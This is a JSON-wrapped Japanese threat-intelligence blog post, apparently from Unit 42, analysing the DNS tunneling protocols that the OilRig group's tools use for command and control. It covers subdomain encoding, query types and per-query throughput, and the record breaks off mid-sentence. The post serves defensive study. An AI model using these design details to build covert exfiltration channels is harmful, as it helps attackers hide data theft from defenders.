{"id":101460,"date":"2019-04-16T12:00:05","date_gmt":"2019-04-16T19:00:05","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=101460\/"},"modified":"2020-02-28T00:39:52","modified_gmt":"2020-02-28T08:39:52","slug":"dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling\/","title":{"rendered":"DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u306e\u73fe\u72b6: OilRig\u306eDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u6982\u8981"},"content":{"rendered":"<h2><span style=\"background-color: #d5d5d5;\">\u6982\u8981<\/span><\/h2>\n<p>3\u670815\u65e5\u306bUnit 42\u306f<a href=\"https:\/\/unit42.paloaltonetworks.jp\/dns-tunneling-how-dns-can-be-abused-by-malicious-actors\">DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0: \u653b\u6483\u8005\u306fDNS\u3092\u3069\u3046\u60aa\u7528\u3059\u308b\u306e\u304b<\/a>\u3092\u516c\u958b\u3057\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u3069\u306e\u3088\u3046\u306bDNS\u306e\u30af\u30a8\u30ea\u3001DNS\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u30b3\u30de\u30f3\u30c9\u3068\u5236\u5fa1\u30c1\u30e3\u30cd\u30eb\u3068\u3057\u3066\u6a5f\u80fd\u3059\u308b\u306e\u304b\u306b\u3064\u3044\u3066\u8aac\u660e\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u30d6\u30ed\u30b0\u3092\u88dc\u8db3\u3059\u308b\u305f\u3081\u3001OilRig\u3068\u3044\u3046\u540d\u3067\u77e5\u3089\u308c\u308b\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306b\u3088\u3063\u3066\u4f7f\u7528\u3055\u308c\u3066\u3044\u308bDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3092\u6d3b\u7528\u3057\u305f\u4e00\u9023\u306e\u30c4\u30fc\u30eb\u306b\u3064\u3044\u3066\u8aac\u660e\u3059\u308b\u3053\u3068\u306b\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>Unit 42\u306f2016\u5e74\u521d\u3081\u304b\u3089OilRig\u306e\u8105\u5a01\u30b0\u30eb\u30fc\u30d7\u3092\u8ffd\u8de1\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u3053\u306e\u7d50\u679c\u3001<a href=\"https:\/\/unit42.paloaltonetworks.com\/tag\/Oilrig\/\">12\u672c\u4ee5\u4e0a\u306e\u30d6\u30ed\u30b0\u3092<\/a>\u3053\u306e\u653b\u6483\u8005\u306b\u3088\u3063\u3066\u884c\u308f\u308c\u305f\u653b\u6483\u3068\u3057\u3066\u8aac\u660e\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u79c1\u305f\u3061\u306f\u3053\u308c\u3089\u306e\u30d6\u30ed\u30b0\u3067\u3001OilRig\u304c\u305d\u306e\u904b\u7528\u306b\u4f7f\u7528\u3059\u308b\u3055\u307e\u3056\u307e\u306a\u30c4\u30fc\u30eb\u3092\u7db2\u7f85\u7684\u306b\u8aac\u660e\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u305d\u308c\u3089\u306e\u591a\u304f\u306f\u3001\u611f\u67d3\u3057\u305f\u30db\u30b9\u30c8\u3068\u305d\u308c\u3089\u306eCommand and Control\uff08C2\uff09\u30b5\u30fc\u30d0\u30fc\u3068\u306e\u9593\u306e\u901a\u4fe1\u3067\u3001DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3092\u6d3b\u7528\u3057\u3066\u3044\u307e\u3059\u3002DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u304c\u7e70\u308a\u8fd4\u3057\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3044\u3046\u4e8b\u5b9f\u306f\u3001\u660e\u3089\u304b\u306b\u305d\u308c\u3089\u304c\u901a\u4fe1\u65b9\u6cd5\u306e\u3072\u3068\u3064\u3068\u3057\u3066\u597d\u307e\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u305d\u306e\u305f\u3081\u3001\u3053\u3053\u3067\u306f\u3001\u3055\u307e\u3056\u307e\u306aDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u4f7f\u7528\u3059\u308bOilRig\u306e\u30c4\u30fc\u30eb\u6982\u8981\u3092\u516c\u958b\u3059\u308b\u3053\u3068\u306b\u6c7a\u3081\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u30c4\u30fc\u30eb\u304c\u4f7f\u7528\u3059\u308b\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u5206\u6790\u3057\u305f\u7d50\u679c\u3092\u5927\u307e\u304b\u306b\u8aac\u660e\u3059\u308b\u3068\u6b21\u306e\u3088\u3046\u306a\u3082\u306e\u3067\u3059\u3002<\/p>\n<ul>\n<li>DNS\u30af\u30a8\u30ea\u304c\u30ad\u30e3\u30c3\u30b7\u30e5\u3055\u308c\u305f\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u8fd4\u3055\u306a\u3044\u3088\u3046\u306b\u3001\u3059\u3079\u3066\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306b\u30e9\u30f3\u30c0\u30e0\u306b\u751f\u6210\u3055\u308c\u305f\u5024\u304c\u542b\u307e\u308c\u3066\u3044\u308b<\/li>\n<li>\u307b\u3068\u3093\u3069\u306e\u5834\u5408\u3001\u6700\u521d\u306e\u30cf\u30f3\u30c9\u30b7\u30a7\u30a4\u30af\u306b\u983c\u3063\u3066\u4e00\u610f\u306e\u30b7\u30b9\u30c6\u30e0ID\u53d6\u5f97\u3059\u308b<\/li>\n<li>\u307b\u3068\u3093\u3069\u306e\u5834\u5408\u3001\u30c7\u30fc\u30bf\u8ee2\u9001\u306e\u958b\u59cb\u30fb\u505c\u6b62\u306bDNS\u30ec\u30b9\u30dd\u30f3\u30b9\u5185\u306e\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305fIP\u30a2\u30c9\u30ec\u30b9\u3092\u4f7f\u7528\u3059\u308b<\/li>\n<li>\u30c7\u30fc\u30bf\u306e\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u306b\u306fC2\u304c\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u6b63\u3057\u3044\u9806\u5e8f\u3067\u518d\u69cb\u7bc9\u3067\u304d\u308b\u3088\u3046\u306b\u3059\u308b\u305f\u3081\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u304c\u542b\u307e\u308c\u3066\u3044\u308b<\/li>\n<li>\u30c4\u30fc\u30eb\u306b\u5fdc\u3058\u3001OilRig\u306f\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u306bA\u3001AAAA\u3001\u304a\u3088\u3073TXT\u306e\u30af\u30a8\u30ea\u30bf\u30a4\u30d7\u3092\u4f7f\u3063\u3066\u3044\u308b<\/li>\n<li>\u3059\u3079\u3066\u306eDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u304c\u304b\u306a\u308a\u306e\u6570\u306eDNS\u30af\u30a8\u30ea\u3092\u751f\u6210\u3059\u308b<\/li>\n<\/ul>\n<p>\u3053\u306e\u30d6\u30ed\u30b0\u3067\u306f\u3001OilRig\u306e\u30c4\u30fc\u30eb\u3067\u3042\u308bHelminth\u3001ISMAgent\u3001ALMACommunicator\u3001BONDUPDATER\u3001QUADAGENT\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308bDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u3064\u3044\u3066\u8a73\u3057\u304f\u8aac\u660e\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u5404\u30c4\u30fc\u30eb\u306f\u3001DNS\u30af\u30a8\u30ea\u3068\u3053\u308c\u3089\u306e\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3001C2\u30b5\u30fc\u30d0\u30fc\u3068\u901a\u4fe1\u3057\u307e\u3059\u3002\u3053\u306e\u30d6\u30ed\u30b0\u3067\u306f\u3001\u30af\u30a8\u30ea\u306e\u69cb\u9020\u3068\u5fdc\u7b54\u306b\u3064\u3044\u3066\u8aac\u660e\u3059\u308b\u3060\u3051\u3067\u306a\u304f\u3001\u3053\u308c\u3089\u306e\u30d7\u30ed\u30c8\u30b3\u30eb\u306e\u52d5\u4f5c\u3092Wireshark\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3067\u793a\u3057\u3001\u30c8\u30f3\u30cd\u30eb\u304c\u30d1\u30b1\u30c3\u30c8\u30ad\u30e3\u30d7\u30c1\u30e3\u5185\u3067\u3069\u306e\u3088\u3046\u306b\u898b\u3048\u308b\u304b\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<h2>\u30c4\u30fc\u30eb\u306e\u6982\u8981<\/h2>\n<p>OilRig\u306f\u3001\u9045\u304f\u3068\u30822016\u5e745\u6708\u306b\u306f\u3001DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3092\u4f7f\u7528\u3057\u3066\u653b\u6483\u3092\u4ed5\u639b\u3051\u308b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3092\u914d\u5e03\u3057\u306f\u3058\u3081\u307e\u3057\u305f\u30022016\u5e745\u6708\u4ee5\u964d\u3001\u3053\u306e\u8105\u5a01\u30b0\u30eb\u30fc\u30d7\u306f\u3001\u3055\u307e\u3056\u307e\u306a\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u4f7f\u7528\u3057\u305f\u65b0\u3057\u3044\u30c4\u30fc\u30eb\u3092\u5f7c\u3089\u306e\u30c4\u30fc\u30eb\u30bb\u30c3\u30c8\u306b\u5c0e\u5165\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u56f31\u306f\u3001\u79c1\u305f\u3061\u304c\u78ba\u8a8d\u3067\u304d\u305f\u7bc4\u56f2\u3067\u3001OilRig\u304c\u6700\u521d\u306b5\u3064\u306e\u5404\u30c4\u30fc\u30eb\u3068\u305d\u306e\u4e9c\u7a2e\u3092\u653b\u6483\u306b\u4f7f\u7528\u3057\u305f\u3068\u304d\u306e\u30bf\u30a4\u30e0\u30e9\u30a4\u30f3\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101461\" aria-describedby=\"caption-attachment-101461\" style=\"width: 970px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101461 size-full lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-211.png\" alt=\"\u56f31 DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30c4\u30fc\u30eb\u3092\u5c0e\u5165\u3057\u305fOilRig\u306e\u30bf\u30a4\u30e0\u30e9\u30a4\u30f3\" width=\"970\" height=\"545\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-211.png 970w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-211-300x169.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-211-768x432.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-211-900x506.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-211-370x208.png 370w\" sizes=\"(max-width: 970px) 100vw, 970px\" \/><figcaption id=\"caption-attachment-101461\" class=\"wp-caption-text\">\u56f31 DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30c4\u30fc\u30eb\u3092\u5c0e\u5165\u3057\u305fOilRig\u306e\u30bf\u30a4\u30e0\u30e9\u30a4\u30f3<\/figcaption><\/figure>\n<p>\u4f7f\u7528\u3057\u305f\u30c4\u30fc\u30eb\u306b\u95a2\u4fc2\u306a\u304f\u3001\u3059\u3079\u3066\u306eDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306f\u3001DNS\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u3066\u3001\u7279\u5225\u306b\u7d30\u5de5\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3057\u3066C2\u306b\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3001\u3053\u308c\u3089\u306e\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u4f7f\u7528\u3057\u3066C2\u304b\u3089\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3057\u307e\u3059\u3002\u3057\u305f\u304c\u3063\u3066\u3001\u30d7\u30ed\u30c8\u30b3\u30eb\u306f<a href=\"https:\/\/www.ietf.org\/rfc\/rfc1035.txt\">DNS\u30d7\u30ed\u30c8\u30b3\u30eb<\/a>\u3092\u9075\u5b88\u3057\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002\u3053\u306e\u305f\u3081\u3001\u7279\u5225\u306b\u7d30\u5de5\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306f\u30e9\u30d9\u30eb(\u30d4\u30ea\u30aa\u30c9\u3067\u533a\u5207\u3089\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u90e8\u5206)\u3092\u6301\u3061\u3001\u6587\u5b57\u307e\u305f\u306f\u6570\u5b57\u3067\u59cb\u307e\u308a\u3001\u6587\u5b57\u3001\u6570\u5b57\u3001\u304a\u3088\u3073\u30cf\u30a4\u30d5\u30f3\u3092\u542b\u307f\u3001\u9577\u3055\u304c63\u6587\u5b57\u672a\u6e80\u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002\u307e\u305f\u3001C2\u30c9\u30e1\u30a4\u30f3\u3068\u7279\u5225\u306b\u7d30\u5de5\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u542b\u3080\u3001\u30af\u30a8\u30ea\u5bfe\u8c61\u306e\u30c9\u30e1\u30a4\u30f3\u5168\u4f53\u304c253\u6587\u5b57\u3092\u8d85\u3048\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002<\/p>\n<p>DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3092\u4ecb\u3057\u3066C2\u3068\u901a\u4fe1\u3059\u308b\u305f\u3081\u306b5\u3064\u306e\u30c4\u30fc\u30eb\u306e\u305d\u308c\u305e\u308c\u3067\u4f7f\u7528\u3055\u308c\u308b\u30d7\u30ed\u30c8\u30b3\u30eb\u306f\u3001\u3055\u307e\u3056\u307e\u306a\u70b9\u3067\u7570\u306a\u308a\u307e\u3059\u3002\u307e\u305a\u3001\u30c4\u30fc\u30eb\u304cC2\u306b\u60c5\u5831\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3059\u308b\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u69cb\u9020\u304c\u7570\u306a\u308a\u307e\u3059\u3002\u6b21\u306b\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304cDNS\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u3067C2\u304b\u3089\u53d7\u4fe1\u3057\u305f\u30c7\u30fc\u30bf\u306e\u69cb\u9020\u3082\u7570\u306a\u308a\u307e\u3059\u3002\u30c7\u30fc\u30bf\u3092\u4f1d\u9001\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u308b\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u69cb\u9020\u306f\u3001\u542b\u307e\u308c\u308b\u30c7\u30fc\u30bf\u306e\u91cf\u3068\u30c7\u30fc\u30bf\u3092\u8868\u3059\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u308b\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306e\u4e21\u65b9\u306b\u304a\u3044\u3066\u5287\u7684\u306b\u7570\u306a\u308a\u307e\u3059\u3002\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u3053\u308c\u3089\u306e\u30c4\u30fc\u30eb\u3067\u4f7f\u7528\u3055\u308c\u308b2\u3064\u306e\u30a8\u30f3\u30b3\u30fc\u30c9\u65b9\u5f0f\u306b\u306f\u3001base16\u304a\u3088\u3073base64\u30a8\u30f3\u30b3\u30fc\u30c9\u30c7\u30fc\u30bf\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u30a8\u30f3\u30b3\u30fc\u30c9\u65b9\u5f0f\u306f\u30c4\u30fc\u30eb\u304c\u5404\u30af\u30a8\u30ea\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3067\u9001\u4fe1\u3067\u304d\u308b\u30c7\u30fc\u30bf\u91cf\u306b\u5927\u304d\u304f\u5f71\u97ff\u3057\u307e\u3059\u3002\u3053\u308c\u306fbase16\u3067\u306f\u30c7\u30fc\u30bf\u306e\u5404\u30d0\u30a4\u30c8\u3092\u8868\u3059\u306e\u306b2\u3064\u306eASCII\u6587\u5b57\u304c\u5fc5\u8981\u3067\u3001\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u306e\u5404\u6587\u5b57\u30d0\u30a4\u30c8\u30671\/2\u30d0\u30a4\u30c8(0.5)\u5206\u306e\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3067\u304d\u308b\u3053\u3068\u306b\u306a\u308b\u305f\u3081\u3067\u3059\u3002\u3053\u308c\u3092\u3001base64\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u3092\u30a8\u30f3\u30b3\u30fc\u30c9\u3059\u308b\u5834\u5408\u3068\u6bd4\u8f03\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u3053\u306e\u5834\u5408\u3001\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u306ebase64\u30a8\u30f3\u30b3\u30fc\u30c9\u30c7\u30fc\u30bf\u306e\u5404\u6587\u5b57\u306f\u30016\u30d3\u30c3\u30c8(0.75\u30d0\u30a4\u30c8)\u5206\u306e\u30c7\u30fc\u30bf\u3092\u8868\u3059\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002\u3053\u306e\u7d50\u679c\u304b\u3089\u4f1d\u9001\u30b9\u30eb\u30fc\u30d7\u30c3\u30c8\u306e\u89b3\u70b9\u3067\u898b\u308c\u3070base64\u30a8\u30f3\u30b3\u30fc\u30c9\u306e\u307b\u3046\u304c\u3088\u308a\u52b9\u679c\u7684\u3068\u3044\u3046\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u305d\u306e\u30c8\u30f3\u30cd\u30eb\u7528\u306b\u4f7f\u7528\u3057\u3066\u3044\u308bDNS\u30af\u30a8\u30ea\u30bf\u30a4\u30d7\u306f\u3001\u30af\u30a8\u30ea\u3054\u3068\u306bC2\u304c\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u9001\u4fe1\u3067\u304d\u308b\u30c7\u30fc\u30bf\u91cf\u306b\u5927\u304d\u304f\u5f71\u97ff\u3057\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001DNS A\u30af\u30a8\u30ea\u3092\u767a\u884c\u3059\u308b\u30c4\u30fc\u30eb\u306f\u30ec\u30b9\u30dd\u30f3\u30b9\u5185\u3067IPv4\u30a2\u30c9\u30ec\u30b9\u3092\u4ecb\u3057\u3066\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u3001C2\u306f\u30af\u30a8\u30ea\u3042\u305f\u308a4\u30d0\u30a4\u30c8\u3057\u304b\u9001\u4fe1\u3067\u304d\u307e\u305b\u3093\u304c\u3001AAAA\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3059\u308b\u30c4\u30fc\u30eb\u306fIPv6\u30ec\u30b9\u30dd\u30f3\u30b9\u5185\u306716\u30d0\u30a4\u30c8\u3092\u9001\u4fe1\u3067\u304d\u307e\u3059\u3002\u88681\u306b\u3001\u3053\u306e\u30d6\u30ed\u30b0\u3067\u53d6\u308a\u4e0a\u3052\u308b\u30c4\u30fc\u30eb\u3068\u305d\u306e\u4e9c\u7a2e\u3092\u30011\u30af\u30a8\u30ea\u3042\u305f\u308a\u306eC2\u304c\u63d0\u4f9b\u3067\u304d\u308b\u30c7\u30fc\u30bf\u306e\u30d0\u30a4\u30c8\u6570\u3001\u7279\u5225\u306b\u7d30\u5de5\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3067\u4f7f\u7528\u3055\u308c\u308b\u6587\u5b57\u6570\u30011\u30af\u30a8\u30ea\u3042\u305f\u308a\u306e\u9001\u4fe1\u30c7\u30fc\u30bf\u30d0\u30a4\u30c8\u6570\u3001\u30c7\u30fc\u30bf\u306e\u9001\u4fe1\u306b\u4f7f\u7528\u3055\u308c\u305f\u30a8\u30f3\u30b3\u30fc\u30c9\u5f62\u5f0f\u306b\u7126\u70b9\u3092\u5408\u308f\u305b\u3066\u793a\u3057\u307e\u3059\u3002\u4e0b\u306e\u8868\u306f\u3001QUADAGENT\u304c\u3082\u3063\u3068\u3082\u30af\u30a8\u30ea\u3042\u305f\u308a\u306e\u30c7\u30fc\u30bf\u9001\u4fe1\u91cf\u304c\u591a\u3044\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3068\u3044\u3046\u306e\u306f\u3001QUADAGENT\u306f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u306bbase64\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b60\u6587\u5b57\u5206\u4f7f\u3048\u308b\u306e\u3067\u3001\u5404\u30af\u30a8\u30ea\u3054\u3068\u306b45(60 * 0.75 = 45)\u30d0\u30a4\u30c8\u5206\u306e\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3067\u304d\u308b\u3053\u3068\u306b\u306a\u308b\u304b\u3089\u3067\u3059\u3002\u307e\u305f\u4e0b\u8a18\u306e\u8868\u306f\u3001\u66f4\u65b0\u30d0\u30fc\u30b8\u30e7\u30f3\u306eBONDUPDATER\u304c\u3082\u3063\u3068\u3082\u30af\u30a8\u30ea\u3042\u305f\u308a\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30d0\u30a4\u30c8\u6570\u304c\u591a\u3044\u3053\u3068\u3082\u793a\u3057\u3066\u3044\u307e\u3059\u3002C2\u304c186.75\u30d0\u30a4\u30c8\u5206\u306e\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3067\u304d\u308b\u306e\u304c\u305d\u306e\u7406\u7531\u3067\u3059\u3002C2\u304c\u3053\u308c\u3060\u3051\u306e\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3067\u304d\u308b\u7406\u7531\u306f\u3001TXT\u30af\u30a8\u30ea\u304c\u6700\u5927255\u30d0\u30a4\u30c8\u306e\u30c7\u30fc\u30bf\u3092\u63d0\u4f9b\u3067\u304d\u3001C2\u304c6\u30d0\u30a4\u30c8\u5206\u306e\u6587\u5b57\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u306b\u7d9a\u304dbase64\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf186.75\u30d0\u30a4\u30c8((255-6)*0.75=186.75)\u3092\u9001\u4fe1\u3067\u304d\u308b\u305f\u3081\u3067\u3059\u3002\u3053\u306e\u90e8\u5206\u306b\u3064\u3044\u3066\u306f\u5f8c\u8ff0\u3057\u307e\u3059\u3002<\/p>\n<table style=\"width: 92.1879%;\" width=\"628\">\n<tbody>\n<tr>\n<td style=\"width: 35.2707%; text-align: left;\" colspan=\"2\"><strong>\u30c4\u30fc\u30eb<\/strong><\/td>\n<td style=\"width: 14.7396%;\"><strong>\u30af\u30a8\u30ea\u3042\u305f\u308a\u306e\u53d7\u4fe1\u30d0\u30a4\u30c8\u6570<\/strong><\/td>\n<td style=\"width: 13.5826%;\"><strong>\u30af\u30a8\u30ea\u3054\u3068\u306e\u30c7\u30fc\u30bf\u7528\u6587\u5b57<\/strong><\/td>\n<td style=\"width: 16.874%;\"><strong>\u30af\u30a8\u30ea\u3042\u305f\u308a\u306e\u9001\u4fe1\u30d0\u30a4\u30c8\u6570<\/strong><\/td>\n<td style=\"width: 29.9628%;\"><strong>\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u30c7\u30fc\u30bf\u30a8\u30f3\u30b3\u30fc\u30c9<\/strong><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 35.2707%;\" colspan=\"2\">Helminth<\/td>\n<td style=\"width: 14.7396%;\">4<\/td>\n<td style=\"width: 13.5826%;\">48<\/td>\n<td style=\"width: 16.874%;\">24<\/td>\n<td style=\"width: 29.9628%;\">Base16<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 35.2707%;\" colspan=\"2\">ISMAGENT<\/td>\n<td style=\"width: 14.7396%;\">16<\/td>\n<td style=\"width: 13.5826%;\">13<\/td>\n<td style=\"width: 16.874%;\">9.75<\/td>\n<td style=\"width: 29.9628%;\">Base64<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.5087%;\" rowspan=\"2\">ALMA<\/p>\n<p>Communicator<\/td>\n<td style=\"width: 14.762%;\">Dash<\/td>\n<td style=\"width: 14.7396%;\">4<\/td>\n<td style=\"width: 13.5826%;\">20<\/td>\n<td style=\"width: 16.874%;\">10<\/td>\n<td style=\"width: 29.9628%;\" rowspan=\"2\">Base16<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 14.762%;\">Dot<\/td>\n<td style=\"width: 14.7396%;\">4<\/td>\n<td style=\"width: 13.5826%;\">60<\/td>\n<td style=\"width: 16.874%;\">30<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.5087%;\" rowspan=\"2\">BONDUPDATER<\/td>\n<td style=\"width: 14.762%;\">\u30aa\u30ea\u30b8\u30ca\u30eb<\/td>\n<td style=\"width: 14.7396%;\">3<\/td>\n<td style=\"width: 13.5826%;\">50<\/td>\n<td style=\"width: 16.874%;\">25<\/td>\n<td style=\"width: 29.9628%;\" rowspan=\"2\">Base16<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 14.762%;\">\u66f4\u65b0\u7248<\/td>\n<td style=\"width: 14.7396%;\">186.75<\/td>\n<td style=\"width: 13.5826%;\">60<\/td>\n<td style=\"width: 16.874%;\">30<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 35.2707%;\" colspan=\"2\">QUADAGENT<\/td>\n<td style=\"width: 14.7396%;\">16<\/td>\n<td style=\"width: 13.5826%;\">60<\/td>\n<td style=\"width: 16.874%;\">45<\/td>\n<td style=\"width: 29.9628%;\">Base64<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><em>\u88681DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3092\u4f7f\u7528\u3059\u308bOilRig\u30c4\u30fc\u30eb\u306e\u30b9\u30eb\u30fc\u30d7\u30c3\u30c8\u3068\u30a8\u30f3\u30b3\u30fc\u30c9<\/em><\/p>\n<p>\u30c4\u30fc\u30eb\u9593\u3067\u898b\u3089\u308c\u308b\u3082\u30461\u3064\u306e\u9055\u3044\u306f\u3001\u30c7\u30fc\u30bf\u9001\u53d7\u4fe1\u306b\u4f7f\u7528\u3055\u308c\u308bDNS\u30af\u30a8\u30ea\u306e\u7a2e\u985e\u3067\u3059\u3002\u5404\u30c4\u30fc\u30eb\u306fDNS 